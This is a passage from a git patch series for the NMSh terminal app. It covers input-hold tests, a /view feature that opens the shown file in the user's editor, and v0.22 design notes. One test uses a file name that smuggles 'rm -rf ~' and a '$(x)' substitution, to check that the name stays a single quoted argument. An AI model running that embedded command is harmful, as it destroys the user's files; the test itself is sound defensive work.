fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.slowLooks(); + f.begin(READ); + f.type('hello'); + f.enter(); + f.type('ls'); + t.mock.timers.tick(SLOW_MS + 100); + f.found({since: 0, confidence: 'likely', mode: 'line'}); + await settled(); + assert.deepEqual(f.written, ['hello\r']); + assert.equal(f.text(), 'ls', 'what followed the Enter is the next draft'); + assert.deepEqual(f.adds(), []); + } finally { f.dispose(); } +}); + +test('#426: keys waiting for a look that never answers are routed after the bound, on what is known', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.slowLooks(); + f.begin('sleep 30'); + f.type('echo next'); + f.enter(); + t.mock.timers.tick(BOUND_MS - 1); + assert.deepEqual(f.adds(), [], 'still waiting, within the bound'); + assert.match(f.screen(), KEPT); + t.mock.timers.tick(1); + assert.deepEqual(f.adds(), ['echo next'], 'with no evidence, Enter queues, as it always did'); + assert.deepEqual(f.written, []); + assert.doesNotMatch(f.screen(), KEPT); + } finally { f.dispose(); } +}); + +test('#426: type-ahead is not delayed beyond the look: it appears as soon as the look answers', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + // A quick look (the usual case): no note ever shows, and the text is there as soon as the look answers. + f.slowLooks(); + f.begin('sleep 30'); + f.type('echo n'); + t.mock.timers.tick(SLOW_MS - 1); + assert.doesNotMatch(f.screen(), KEPT, 'a look that answers within 800 ms shows no note'); + f.settle(); + await settled(); + assert.equal(f.text(), 'echo n'); + assert.doesNotMatch(f.screen(), KEPT); + + // An idle machine: looks answer at once with no evidence of a read. No timer has to run for typing to appear or + // for Enter to queue. + const g = fixture(); + try { + g.quickLooks(); + g.begin('sleep 30'); + g.type('echo next'); + await settled(); + assert.equal(g.text(), 'echo next'); + g.enter(); + await settled(); + assert.deepEqual(g.adds(), ['echo next'], 'queued as soon as the look answered'); + assert.equal(g.looks(), 2, 'one look for the draft, one for the Enter'); + assert.deepEqual(g.written, []); + } finally { g.dispose(); } + } finally { f.dispose(); } +}); + +test('#426: an answer to a question the program printed goes as soon as the look answers, never queued', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.slowLooks(); + f.begin('./install.sh', 'Continue? [y/N] '); + f.type('y'); + f.enter(); + t.mock.timers.tick(SLOW_MS + 100); + assert.deepEqual(f.written, [], 'held while NMSh cannot tell whether the answer is hidden'); + assert.deepEqual(f.adds(), []); + // The look finds an ordinary line read: the answer goes, shown as typed. + f.found({since: 0, confidence: 'likely', mode: 'line'}); + await settled(); + assert.deepEqual(f.written, ['y\r']); + assert.deepEqual(f.adds(), []); + } finally { f.dispose(); } +}); + +test('#426: the command ending while keys are held: the line runs as the next command, once', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.slowLooks(); + f.begin('sleep 1'); + f.type('echo after'); + f.enter(); + t.mock.timers.tick(SLOW_MS + 100); + assert.deepEqual(f.adds(), []); + const submitted: string[] = []; + Object.defineProperty(f.app, 'submit', {value: async () => { submitted.push(f.text()); }, configurable: true}); + f.complete(0); + f.settle(); + await settled(); + assert.deepEqual(f.adds(), [], 'the command is over: nothing is queued'); + assert.deepEqual(submitted, ['echo after'], 'the line runs as the next command, as Enter at the prompt does'); + assert.deepEqual(f.written, []); + } finally { f.dispose(); } +}); + +test('#426: Ctrl+C while keys are held routes them on what is known, then interrupts', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.slowLooks(); + let interrupts = 0; + Object.defineProperty(f.session, 'interrupt', {value: () => { interrupts += 1; }, configurable: true}); + f.begin('sleep 30'); + f.type('echo n'); + t.mock.timers.tick(SLOW_MS + 100); + f.app['onInput']('\u0003'); + assert.equal(interrupts, 1, 'Ctrl+C is never held'); + assert.doesNotMatch(f.screen(), KEPT); + assert.deepEqual(f.written, [], 'the held text never reached the program'); + } finally { f.dispose(); } +}); From 5d81d93e4b84b98ab94378e50874ab1cb60c6e47 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 23:16:03 +0530 Subject: [PATCH 048/157] /view: o opens the file shown in your own editor, at the line on screen #366 asked for clearer paths between the native viewer and the editors people already use. /view could hand a file only to the native /edit (e), and its own notes for a partly shown or undecodable file said "less or an editor" without a way to get there. - In /view of a file, o sends the file and the first line on screen to the same bridge /open uses (resolveHostActions): Zed or VS Code opens beside NMSh with argv and the viewer stays; a terminal editor from $VISUAL/$EDITOR gets its command, quoted for the session's shell, placed in the composer for the person to run, never run for them, and the viewer closes so it is in view. A draft already in the composer is never replaced: the viewer says so instead. With no editor known, the viewer shows the bridge's reason. - Rendered Markdown rows are not source lines, so the file then opens at its start; the source view (m) keeps the line. Stored output is not a file and offers nothing new. - The truncation notes and the UTF-16 refusal name this way to the rest; Ask's /view description lists e and o. Tests drive the real key handler and the real bridge with a fake host: terminal editor at the line shown with nothing executed, a file name with spaces and shell characters kept as one quoted argument, a draft left alone, a GUI editor launched (and a launch failure and no editor reported) with the viewer kept open. All five fail before the change. Refs #366 --- CHANGELOG.md | 1 + src/app/TerminalApp.ts | 20 ++++++ src/ask/concepts.ts | 2 +- src/viewer/ViewerPanel.ts | 8 ++- src/viewer/document.ts | 6 +- tests/viewer.test.ts | 34 +++++++++- tests/viewerOpenEditor.test.ts | 113 +++++++++++++++++++++++++++++++++ 7 files changed, 177 insertions(+), 7 deletions(-) create mode 100644 tests/viewerOpenEditor.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 41472b72..74a36be3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -18,6 +18,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). - **`/modules explain` and `/modules timings`** ([#365](https://github.com/raiseCatError/notMyShell/issues/365)) write a plain-text report into the transcript: each configured module's surface, whether it is on screen and why (including when the Context Rail or Status Strip left it out, or shortened it, to fit the width in the last frame), and its sources' state, age and last collection time; or the slowest last collections. They read what the Context Engine already has and collect nothing. - **Five more bundled theme families** ([#401](https://github.com/raiseCatError/notMyShell/issues/401)): Ayu (Dark, Mirage, Light), Kanagawa (Wave, Dragon, Lotus), Everforest (Dark, Light), Flexoki (Dark, Light) and Night Owl (Night Owl, Light Owl), with colors copied exactly from each project's MIT-licensed source at a recorded revision. They theme NMSh's own prompt fills and chrome only; the terminal's own colors and configuration are never changed. Existing theme ids and saved choices are unchanged, and Lavender stays the default. Theme Studio's Built-in list gains `/` to filter by name, family, or `dark`/`light`. - **`/track`** keeps one live result of a finite command in the transcript, refreshed in place ([#393](https://github.com/raiseCatError/notMyShell/issues/393)). `/track df -h` or `/track --every 5s -- docker system df` writes the command once, then shows a status row (`live · every 5s · updated 13:49:25 · exit 0`, a failing exit, a timeout, paused, stale, refreshing) and the latest result under it, with a stable height. The shell stays free; nothing accumulates per refresh, and find, selection and `/copy` never include the live rows. `/track copy` copies the latest result, `/track refresh`, `pause`, `resume` and `stop` control it, and stopping leaves the last result in the transcript once. Samples run `sh -c` from the starting directory with your shell's PATH (not its aliases or functions), never overlap, and are bounded (200 kB, a timeout, at most 8 trackers); destructive and unknown commands are refused or need a Yes, as for `/watch`. Trackers stop with the window that started them. `/watch` keeps its manager and its behavior; both share one scheduler, which gains stricter interval parsing, refusals for substitutions, background jobs and heredocs, UTF-8-safe bounded capture, visible timeouts and a stop grace period (from draft #394). +- **From `/view` to your own editor** ([#366](https://github.com/raiseCatError/notMyShell/issues/366)). In `/view` of a file, `o` opens it at the first line on screen through the same bridge as `/open`: Zed or VS Code (around NMSh, or chosen in Open with) opens beside NMSh, and a terminal editor from `$VISUAL`/`$EDITOR` gets its command placed in the composer for you to run, never run for you. A draft already in the composer is never replaced, and with no editor known the viewer says how to set one. A file `/view` shows only in part, or cannot decode, now names this way to the rest. ### Fixed diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 62148e4a..35d4d8a5 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -1643,6 +1643,7 @@ export class TerminalApp { const action = viewerKey(viewer, key, columns, rows - 4, this.viewerLook()); if (action?.kind === 'close') { this.viewer = undefined; this.returnFromPanel(); } else if (action?.kind === 'edit') { this.viewer = undefined; this.openTextEditor(action.path, '/edit', viewer); } + else if (action?.kind === 'open') void this.openFromViewer(viewer, action); else if (action?.kind === 'copy') { void this.copyText(action.text, 'Copied the document').then(note => { if (note && this.viewer === viewer) { viewer.note = note; this.render(); } }); } @@ -8562,6 +8563,25 @@ export class TerminalApp { report(failure ? `Could not start ${action.label}: ${failure}` : `Opened in ${action.label}.`, failure ? ERROR : INFO); } + /** + * `o` in /view: the file shown goes to the person's editor through the /open bridge. A GUI editor opens beside NMSh + * and the viewer stays; a terminal editor's command goes in the composer for the person to run, so the viewer + * closes, and a draft already there is never replaced. + */ + private async openFromViewer(viewer: ViewerState, target: {path: string; line?: number}): Promise<void> { + const action = this.hostActions().openFile({path: target.path, ...(target.line ? {line: target.line} : {})}); + const say = (note: string) => { if (this.viewer === viewer) { viewer.note = note; this.render(); } }; + if (action.kind === 'unsupported') return say(action.reason); + if (action.kind === 'compose') { + if (this.editor.text.trim()) return say(`The composer has a draft. Clear it, then press o to put the ${action.label} command there.`); + this.viewer = undefined; + this.returnFromPanel(); + return this.performHostAction(action, (message, style) => { this.output.addFrontendInteraction('/view', message, style); this.render(); }); + } + const failure = await runHostAction(action); + say(failure ? `Could not start ${action.label}: ${failure}` : `Opened in ${action.label}.`); + } + /** Changes whenever presented rows may have changed; matches are recomputed only then. */ private findGeneration(wrapped: readonly WrappedRow[], columns: number): string { const filter = this.output.activeFilter; diff --git a/src/ask/concepts.ts b/src/ask/concepts.ts index a4a9c32e..6f14ad96 100644 --- a/src/ask/concepts.ts +++ b/src/ask/concepts.ts @@ -255,7 +255,7 @@ export const CONCEPTS: readonly Concept[] = [ description: '/compare shows what changed between two command outputs (by default the latest and the previous run of the same command; /compare N M picks them by /copy number). Also Actions → Compare output…. Added, removed and changed lines; c copies the diff, r a comparison report.'}, {id: 'view', label: 'View a file or output', support: 'actionable', open: '/view', covers: ['/view'], aliases: ['view file', 'view a file', 'read a file', 'open a file read only', 'view output', 'read markdown', 'preview markdown', 'view log', 'pager'], - description: '/view opens a read-only native viewer: /view README.md for a file (Markdown renders; m shows the source), /view N for completed output N (numbered as /copy), /view alone for the latest output. Also Actions → View output. Find with /, n/N, go to a line with :, w wraps, l numbers, c copies the whole text. less, bat and Glow still work as usual.'}, + description: '/view opens a read-only native viewer: /view README.md for a file (Markdown renders; m shows the source), /view N for completed output N (numbered as /copy), /view alone for the latest output. Also Actions → View output. Find with /, n/N, go to a line with :, w wraps, l numbers, c copies the whole text; for a file, e edits it in /edit and o opens it in your own editor at the line shown (as /open does). less, bat and Glow still work as usual.'}, {id: 'edit-file', label: 'Edit a small text file', support: 'actionable', open: '/edit', covers: ['/edit'], aliases: ['edit a file', 'edit file', 'edit text file', 'change a config file', 'quick edit', 'small editor', 'native editor', 'edit notes'], description: '/edit notes.md opens a small text file (up to 1 MiB, your own, UTF-8) in NMSh\'s editor: type, select with Shift, Ctrl+Z undo, Ctrl+Y redo, Ctrl+F find, Ctrl+C/Ctrl+X copy and cut, Ctrl+S saves (atomically; if the file changed on disk you choose Overwrite, Reload or Keep editing), Esc closes and asks about unsaved changes. e in /view edits the file shown. vim, nano, micro and your $EDITOR still work as usual.'}, diff --git a/src/viewer/ViewerPanel.ts b/src/viewer/ViewerPanel.ts index 5493f428..e4759eec 100644 --- a/src/viewer/ViewerPanel.ts +++ b/src/viewer/ViewerPanel.ts @@ -56,7 +56,9 @@ export interface ViewerState { markdown?: {width: number; rows: MarkdownRow[]}; } -export type ViewerAction = {kind: 'close'} | {kind: 'copy'; text: string; lines: number} | {kind: 'edit'; path: string}; +export type ViewerAction = {kind: 'close'} | {kind: 'copy'; text: string; lines: number} | {kind: 'edit'; path: string} + /** The file shown, for the person's own editor (the /open bridge); line is the first line on screen, when it is one. */ + | {kind: 'open'; path: string; line?: number}; export interface ViewerLook {syntax?: SyntaxSgr; hyperlinks?: boolean} @@ -401,6 +403,8 @@ export function viewerKey(state: ViewerState, key: Key, columns: number, height: else if (text === 'N' && state.query) step(state, -1, width, body, look); else if (text === 'c') return {kind: 'copy', text: state.document.text, lines: state.document.lines.length}; else if (text === 'e' && state.document.origin.kind === 'file') return {kind: 'edit', path: state.document.origin.path}; + // Rendered Markdown rows are not source lines: the file then opens at its start. + else if (text === 'o' && state.document.origin.kind === 'file') return {kind: 'open', path: state.document.origin.path, ...(state.rendered ? {} : {line: state.top + 1})}; return undefined; } @@ -438,7 +442,7 @@ function controls(state: ViewerState, columns: number): string[] { ['↑↓', 'scroll'], ['/', 'find'], ...(state.query ? [['n/N', 'next/previous'] as const] : []), [':', 'line'], ...(state.document.format === 'markdown' ? [['m', state.rendered ? 'source' : 'rendered'] as const] : []), ...(!state.rendered ? [['w', state.wrap ? 'no wrap' : 'wrap'] as const, ['l', 'numbers'] as const] : []), - ['c', 'copy all'], ...(state.document.origin.kind === 'file' ? [['e', 'edit'] as const] : []), ['Esc', 'close'], + ['c', 'copy all'], ...(state.document.origin.kind === 'file' ? [['e', 'edit'] as const, ['o', 'open in editor'] as const] : []), ['Esc', 'close'], ], width); } diff --git a/src/viewer/document.ts b/src/viewer/document.ts index 399cc359..e27db3df 100644 --- a/src/viewer/document.ts +++ b/src/viewer/document.ts @@ -144,11 +144,11 @@ export async function loadFileDocument(input: string, cwd: string, options: {hom // Never split a UTF-8 sequence: step back over continuation bytes. while (cut > 0 && (bytes[cut]! & 0xc0) === 0x80) cut -= 1; bytes = bytes.subarray(0, cut); - notes.push(`Showing the first ${formatBytes(cut)} of ${formatBytes(info.size)}; open it with less or an editor for the rest.`); + notes.push(`Showing the first ${formatBytes(cut)} of ${formatBytes(info.size)}; press o to open it in your editor, or use less, for the rest.`); } const sniff = bytes.subarray(0, SNIFF_BYTES); if ((sniff[0] === 0xff && sniff[1] === 0xfe) || (sniff[0] === 0xfe && sniff[1] === 0xff)) { - return {ok: false, reason: `${shown} is UTF-16 text, which /view does not decode; try less or an editor.`}; + return {ok: false, reason: `${shown} is UTF-16 text, which /view does not decode; try less, or /open it in your editor.`}; } if (sniff.includes(0)) return {ok: false, reason: `${shown} looks binary (it contains NUL bytes); /view shows text only.`}; if (bytes[0] === 0xef && bytes[1] === 0xbb && bytes[2] === 0xbf) bytes = bytes.subarray(3); @@ -162,7 +162,7 @@ export async function loadFileDocument(input: string, cwd: string, options: {hom const maxLines = options.maxLines ?? MAX_VIEW_LINES; if (lines.length > maxLines) { complete = false; - notes.push(`Showing the first ${maxLines.toLocaleString('en-US')} lines; open it with less or an editor for the rest.`); + notes.push(`Showing the first ${maxLines.toLocaleString('en-US')} lines; press o to open it in your editor, or use less, for the rest.`); lines = lines.slice(0, maxLines); text = lines.join(lineEnding === 'crlf' ? '\r\n' : '\n'); } diff --git a/tests/viewer.test.ts b/tests/viewer.test.ts index 903d49cf..24540ab0 100644 --- a/tests/viewer.test.ts +++ b/tests/viewer.test.ts @@ -51,7 +51,7 @@ test('files: only regular, decodable text is read, within limits, and every refu writeFileSync(join(root, 'bin'), Buffer.from([0x7f, 0x45, 0x4c, 0x46, 0, 1, 2])); assert.match((await loadFileDocument(join(root, 'bin'), '/') as {reason: string}).reason, /binary/u); writeFileSync(join(root, 'utf16.txt'), Buffer.from([0xff, 0xfe, 0x61, 0x00])); - assert.match((await loadFileDocument(join(root, 'utf16.txt'), '/') as {reason: string}).reason, /UTF-16/u); + assert.match((await loadFileDocument(join(root, 'utf16.txt'), '/') as {reason: string}).reason, /UTF-16.*\/open it in your editor/u); if (spawnSync('mkfifo', [join(root, 'pipe')]).status === 0) { // Opening a FIFO must not wait for a writer: it is refused at once. @@ -77,10 +77,12 @@ test('files: only regular, decodable text is read, within limits, and every refu assert.equal(cut.text, 'é'.repeat(25)); assert.equal(cut.complete, false); assert.match(cut.notes[0]!, /Showing the first/u); + assert.match(cut.notes[0]!, /press o to open it in your editor/u, 'the note names the way to the rest'); writeFileSync(join(root, 'many.txt'), Array.from({length: 50}, (_, index) => `line ${index}`).join('\n')); const many = await load(join(root, 'many.txt'), {maxLines: 10}); assert.equal(many.lines.length, 10); assert.equal(many.complete, false); + assert.match(many.notes[0]!, /press o to open it in your editor/u); symlinkSync(join(root, 'a.ts'), join(root, 'link.ts')); const linked = await load(join(root, 'link.ts')); @@ -136,6 +138,36 @@ test('Markdown files render, switch to source with m, and output whose command i } finally { rmSync(root, {recursive: true, force: true}); } }); +test('o hands a file to the person\'s editor at the first line on screen; output has no file and offers nothing', async () => { + const root = scratch(); + try { + const path = join(root, 'notes.txt'); + writeFileSync(path, Array.from({length: 200}, (_, index) => `line ${index + 1}`).join('\n')); + const viewer = createViewer(await load(path)); + draw(viewer); + assert.deepEqual(press(viewer, ['o']), {kind: 'open', path, line: 1}); + press(viewer, [':', '4', '2', {kind: 'enter'}]); + assert.deepEqual(press(viewer, ['o']), {kind: 'open', path, line: 42}, 'the line at the top of the view'); + assert.match(shown(draw(viewer)).join('\n'), /o open in editor/u, 'the footer offers it for files'); + + // Rendered Markdown rows are not source lines: the file opens at its start; the source view keeps the line. + writeFileSync(join(root, 'README.md'), `# Title\n\n${'text\n\n'.repeat(80)}`); + const markdown = createViewer(await load(join(root, 'README.md'))); + draw(markdown); + press(markdown, [{kind: 'pageDown'}]); + assert.deepEqual(press(markdown, ['o']), {kind: 'open', path: join(root, 'README.md')}); + press(markdown, ['m', 'G']); + draw(markdown); + const source = press(markdown, ['o']); + assert.equal(source?.kind, 'open'); + assert.ok(source?.kind === 'open' && source.line === markdown.top + 1 && source.line > 1); + + const output = createViewer(outputDocument({command: 'seq 3', output: '1\n2\n3\n'}, 1)); + assert.equal(press(output, ['o']), undefined, 'stored output is not a file'); + assert.doesNotMatch(shown(draw(output)).join('\n'), /open in editor/u); + } finally { rmSync(root, {recursive: true, force: true}); } +}); + test('search finds, counts and steps through matches, wrapping with a note; Esc clears it before closing', () => { const document = outputDocument({command: 'log', output: Array.from({length: 300}, (_, index) => index % 50 === 7 ? `ERROR at ${index}` : `ok ${index}`).join('\n')}, 1); const viewer = createViewer(document); diff --git a/tests/viewerOpenEditor.test.ts b/tests/viewerOpenEditor.test.ts new file mode 100644 index 00000000..3ebf3ae7 --- /dev/null +++ b/tests/viewerOpenEditor.test.ts @@ -0,0 +1,113 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {mkdtempSync, realpathSync, rmSync, writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {resolveHostActions, type HostActionAdapter} from '../src/host/HostActions.js'; +import {stripAnsi} from '../src/util/text.js'; +import {executionFrameFixture} from './support/executionTimelineFrames.js'; + +/** + * #366: from `/view` to the person's own editor. `o` hands the file shown, at the first line on screen, to the same + * bridge `/open` uses: a GUI editor is launched with argv, a terminal editor gets a reviewed command in the composer + * (never run), and with no editor known the viewer says how to set one. No shell is started; nothing is executed. + */ + +const host = (env: NodeJS.ProcessEnv) => ({env, platform: 'darwin' as const, which: () => undefined, helpText: () => ''}); + +async function fixture(name = 'notes.txt') { + const frame = executionFrameFixture(100, 30); + const root = realpathSync(mkdtempSync(join(tmpdir(), 'nmsh-view-open-'))); + const path = join(root, name); + writeFileSync(path, Array.from({length: 200}, (_, index) => `line ${index + 1}`).join('\n')); + frame.app['shellCwd'] = root; + const useEditor = (adapter: HostActionAdapter) => Object.defineProperty(frame.app, 'hostActions', {value: () => adapter, configurable: true}); + const open = async () => { + frame.app['openViewer'](name, `/view ${name}`); + const deadline = Date.now() + 5000; + while (!frame.app['viewer']) { + if (Date.now() > deadline) throw new Error('the viewer did not open'); + await new Promise(done => setTimeout(done, 10)); + } + frame.capture(); + return frame.app['viewer']!; + }; + const key = (value: string) => frame.app['handleKey']({kind: 'text', value}); + const enter = () => frame.app['handleKey']({kind: 'enter'}); + const transcript = () => (frame.app['output'].transcript().lines as Array<Array<{text?: string} | null>>) + .map(line => line.map(cell => cell?.text ?? ' ').join('')).join('\n'); + const screen = () => frame.capture().frame.rows.map(row => stripAnsi(row)).join('\n'); + return {...frame, root, path, useEditor, open, key, enter, transcript, screen, + cleanup() { frame.dispose(); rmSync(root, {recursive: true, force: true}); }}; +} + +test('a terminal editor gets a reviewed command in the composer at the line on screen; nothing runs', async () => { + const f = await fixture(); + try { + f.useEditor(resolveHostActions('editor', host({EDITOR: 'nvim'}))); + await f.open(); + f.key(':'); f.key('4'); f.key('1'); f.enter(); + f.key('o'); + assert.equal(f.app['viewer'], undefined, 'the viewer closes so the command is in view'); + assert.equal(f.app['editor'].text, `nvim +41 ${f.path}`); + assert.match(f.transcript(), /Ready to open in nvim: press Enter to run it\./u); + // CaptureSession.submit throws if anything is submitted; reaching here means nothing ran. + } finally { f.cleanup(); } +}); + +test('a file name with spaces and shell characters stays one quoted argument', async () => { + const name = 'my notes; rm -rf ~ $(x).txt'; + const f = await fixture(name); + try { + f.useEditor(resolveHostActions('editor', host({VISUAL: 'hx'}))); + await f.open(); + f.key('o'); + assert.equal(f.app['editor'].text, `hx '${f.path}:1'`, 'Helix takes path:line; the whole argument is quoted'); + } finally { f.cleanup(); } +}); + +test('a draft in the composer is never replaced: the viewer stays open and says why', async () => { + const f = await fixture(); + try { + f.useEditor(resolveHostActions('editor', host({EDITOR: 'vim'}))); + f.app['editor'].insert('git status --short'); + await f.open(); + f.key('o'); + assert.ok(f.app['viewer'], 'still viewing'); + assert.equal(f.app['editor'].text, 'git status --short', 'the draft is untouched'); + assert.match(f.screen(), /composer has a draft/u); + } finally { f.cleanup(); } +}); + +test('a GUI editor is launched with argv and the viewer stays; a launch failure and no editor are said in the viewer', async () => { + const f = await fixture(); + try { + const launched: Array<{command: string; args: string[]}> = []; + const gui = (command: string): HostActionAdapter => ({ + id: 'zed', label: 'Zed', capabilities: {nativeFileOpen: true, nativeDirectoryOpen: true, nativeDiff: true}, + openFile: location => { launched.push({command, args: [`${location.path}:${location.line}`]}); return {kind: 'spawn', command, args: ['-e', '0'], label: 'Zed'}; }, + openDirectory: () => ({kind: 'unsupported', reason: 'n/a'}), openDiff: () => ({kind: 'unsupported', reason: 'n/a'}), + }); + f.useEditor(gui(process.execPath)); + const viewer = await f.open(); + f.key('G'); + f.capture(); + f.key('o'); + await new Promise(done => setTimeout(done, 200)); + assert.equal(launched.length, 1); + assert.equal(launched[0]!.args[0], `${f.path}:${viewer.top + 1}`); + assert.equal(f.app['viewer'], viewer, 'a GUI editor opens beside NMSh; the viewer stays'); + assert.match(f.screen(), /Opened in Zed\./u); + assert.equal(f.app['editor'].text, ''); + + f.useEditor(gui(join(f.root, 'no-such-editor'))); + f.key('o'); + await new Promise(done => setTimeout(done, 200)); + assert.match(f.screen(), /Could not start Zed/u); + + f.useEditor(resolveHostActions('auto', host({}))); + f.key('o'); + assert.match(f.screen(), /No editor is known here/u); + assert.equal(f.app['editor'].text, ''); + } finally { f.cleanup(); } +}); From a9904a09f75c11055a5a1c6b22c73ce9648ecb9b Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 23:11:44 +0530 Subject: [PATCH 049/157] v0.22 design, ledger and natural-language proposal Start v0.22 (#431) from dev a8b383c2 with a bounded scope: input reliability first (#426, then #356 under load), one workflow slice that reuses the editor bridge (#366: /view to the person's editor), two items that wait for the maintainer (#389 multiline history browsing, reproduced; natural-language command suggestions, #432), and every paused or deferred issue left as it is. v0.22 PRs target dev but stay draft until #430 has carried dev into release/v0.21.0: its head is dev, so anything merged earlier would ride into the release candidate. Nothing here touches the v0.21 release branch, its QA evidence, master or publishing. The natural-language proposal keeps one Ask: an optional, off-by-default suggestion outcome after the deterministic resolver, entered through an NMSh surface so it is never shell syntax, labelled by NMSh's own classifier, and run only by the person's Enter in the composer. It lists the decisions it needs, starting with whether remote model APIs belong outside the core at all. Refs #431 Refs #432 --- docs/design/v022-daily-use.md | 133 +++++++++++++++++ docs/design/v022-natural-language-commands.md | 136 ++++++++++++++++++ docs/development/v022-ledger.md | 69 +++++++++ 3 files changed, 338 insertions(+) create mode 100644 docs/design/v022-daily-use.md create mode 100644 docs/design/v022-natural-language-commands.md create mode 100644 docs/development/v022-ledger.md diff --git a/docs/design/v022-daily-use.md b/docs/design/v022-daily-use.md new file mode 100644 index 00000000..7a88c070 --- /dev/null +++ b/docs/design/v022-daily-use.md @@ -0,0 +1,133 @@ +# v0.22 design: daily-use reliability and workflow + +Planning and acceptance record for the v0.22 candidate ([#431](https://github.com/raiseCatError/notMyShell/issues/431)). Durable progress lives in the +[v0.22 ledger](../development/v022-ledger.md). Automated results are not physical-terminal validation. + +## Goal + +Make NMSh better for everyday terminal work without turning it into a shell, a terminal emulator or an IDE. The +release starts from reliability: no typed key may be lost, duplicated, misrouted, shown when it should be hidden, or +run unexpectedly. On that foundation it adds a small number of workflow improvements that reuse what NMSh already has +(`/view`, `/edit`, `/open`, the editor bridge, Ask, the queue). Everything else stays where the issue tracker puts it. + +## Baseline and the v0.21 release boundary + +- Baseline: `dev` at `a8b383c2` (v0.21 integrated: #411–#424, then #425, #427 and #428). +- `release/v0.21.0` (`d9e08393`) is `dev` at `433af8fd` plus its candidate commit. PR #430 (`dev` → `release/v0.21.0`) + carries #425, #427 and #428 into it and is open, green and unmerged. Draft PR #429 is the release itself. +- **Rule:** v0.22 PRs target `dev` but stay **draft and unmerged until #430 has merged**. #430's head is `dev`; anything + merged into `dev` before it would ride into the release candidate. v0.22 never touches `release/v0.21.0`, its QA + evidence, `master` or the publishing workflow. +- After v0.21 ships (release PR merged into `master`, tag published), reconcile: bring `master` back into `dev` if the + runbook does, rebase the open v0.22 branches, and move v0.22 changelog entries into the new `[Unreleased]` section + (they are written into `dev`'s `[Unreleased]` today, beside v0.21's). + +## Scope + +### Required reliability fixes (adopted) + +| Slice | Issue | Summary | State | +| --- | --- | --- | --- | +| R1 | #426 | Keys typed before NMSh knows who reads them wait for the look instead of an 800 ms deadline; a runnable first sample is not "busy" | Implemented, draft PR | +| R2 | #356 | Fish key loss after a handed-over read: reproduce under load on the current harness; fix only what reproduces | Investigation | + +### High-value user-facing improvements (adopted, from accepted issues) + +| Slice | Issue | Summary | State | +| --- | --- | --- | --- | +| U1 | #366 | `/view` → open the file at the line on screen in the person's editor through the existing `/open` bridge; refusal messages offer the same | Planned | + +### Optional, pending a maintainer decision + +| Item | Issue | Decision needed | +| --- | --- | --- | +| D1 | #389 | A recalled history entry browses as one entry (Up/Down step entries until it is edited). Reproduced on `dev`; changes a behavior the maintainer triaged as acceptable and a test codifies. The position indicator is a separate, later step | +| D2 | #432 | Natural-language command suggestions from the composer ([design](v022-natural-language-commands.md)). Needs a product decision on remote model APIs, which the ROADMAP's design principles currently exclude from the core experience | +| D3 | #366 | Choose a terminal editor for "Open with" when `$VISUAL`/`$EDITOR` is unset (detected installed editors). Settings surface change; after U1 | + +### Explicitly deferred (status unchanged) + +#330–#332 (workspace sidebar/panel program, paused), #337 and #338 (worktree and GitHub write workflows, paused), #339 +and #340 (managed-agent adapters, Remote Control research), #333–#335 (tmux Studio, Setup Cat profiles, keymap +remapping), #341 (executable mods), #398 (Learn, deferred by decision), #399 (host config writes), #304 (Theme Bridge +expansion), #296 (hosted demo), #15. The ongoing indices #14, #20 and #305 stay ongoing. Nothing here is reactivated by +v0.22 starting; none is a dependency of the adopted slices. + +## R1 — #426: input ownership under load + +**Behavior.** While a command runs and NMSh has no evidence yet that it reads input, the first key of a draft and an +Enter that would queue are held while the session looks (`input-look`). The hold now ends only when the look answers +or evidence arrives (bounded at 5 s), never at a fixed 800 ms. Until then nothing typed is drawn, sent or queued. A +look still running after 800 ms says so in the composer: `Checking whether <program> is waiting for input · your typing +is kept`. Ctrl+C is never held. In the session, a first sample that sees a process on a CPU with nothing earlier to +compare is "runnable", not computing; when the shell holds its terminal, the follow-up sample decides. + +**Why not the issue's example (route text at 800 ms, hold only the Enter).** It fixes the queueing but still draws a +hidden reply in the composer whenever the look is slow, for a prompt-less `read -s` and for a prompted `sudo` or `ssh` +password alike. The unfixed baseline failed the live test's "the hidden answer is never drawn" assertion this way under +load. Holding until the owner is known keeps the privacy property independent of machine load. The cost is confined to +a loaded machine: type-ahead appears when the look answers instead of at 800 ms, with the note above. + +**Boundaries.** `TerminalApp` hold policy and `InputWatch` sampling only. No protocol change; older services are never +asked and behave as before. No change to queue semantics, Fish's reader handover or the direct-key path. + +**Tests.** Deterministic (mocked timers, a look the test settles): prompt-less line, hidden and prompted (`sudo`) +replies typed at once are never queued, drawn or run; keys after a held Enter stay behind it; the bound releases a +look that never answers; the command ending mid-hold runs the line once; Ctrl+C releases; quick looks add no delay. A +watch test for the runnable first sample (line and key reads) and for a busy shell staying not-waiting. Live: the +input-ownership, input-awareness, typing-after-read, query-order and queue PTY suites; the ownership file 4× in +parallel. + +**Performance.** No added work per key. A look is the existing `stty` + `ps` probe (one or two samples). Normal-load +latency is unchanged; the bound is 5 s. + +**Physical QA.** Ghostty and Terminal.app, zsh, Bash and Fish: `read -r reply; echo got=$reply` and `read -s` typed +at once and after a pause; `sudo -k true` typed at once; type-ahead during `sleep 5`; a heavy build in another window +(load) while repeating the reads: the note appears, nothing is queued or shown. + +## R2 — #356: Fish keys after a handed-over read + +v0.21 stabilization ran the reproducer 40/40 (macOS, Fish 4.9.3, 8× load) and 22/22 (Linux, Fish 3.6). v0.22 repeats +it on the v0.22 baseline at higher parallel load and with the #426 changes. The issue is not declared fixed without a +reproduction and a verified fix; a clean run is recorded on the issue and the status stays with the 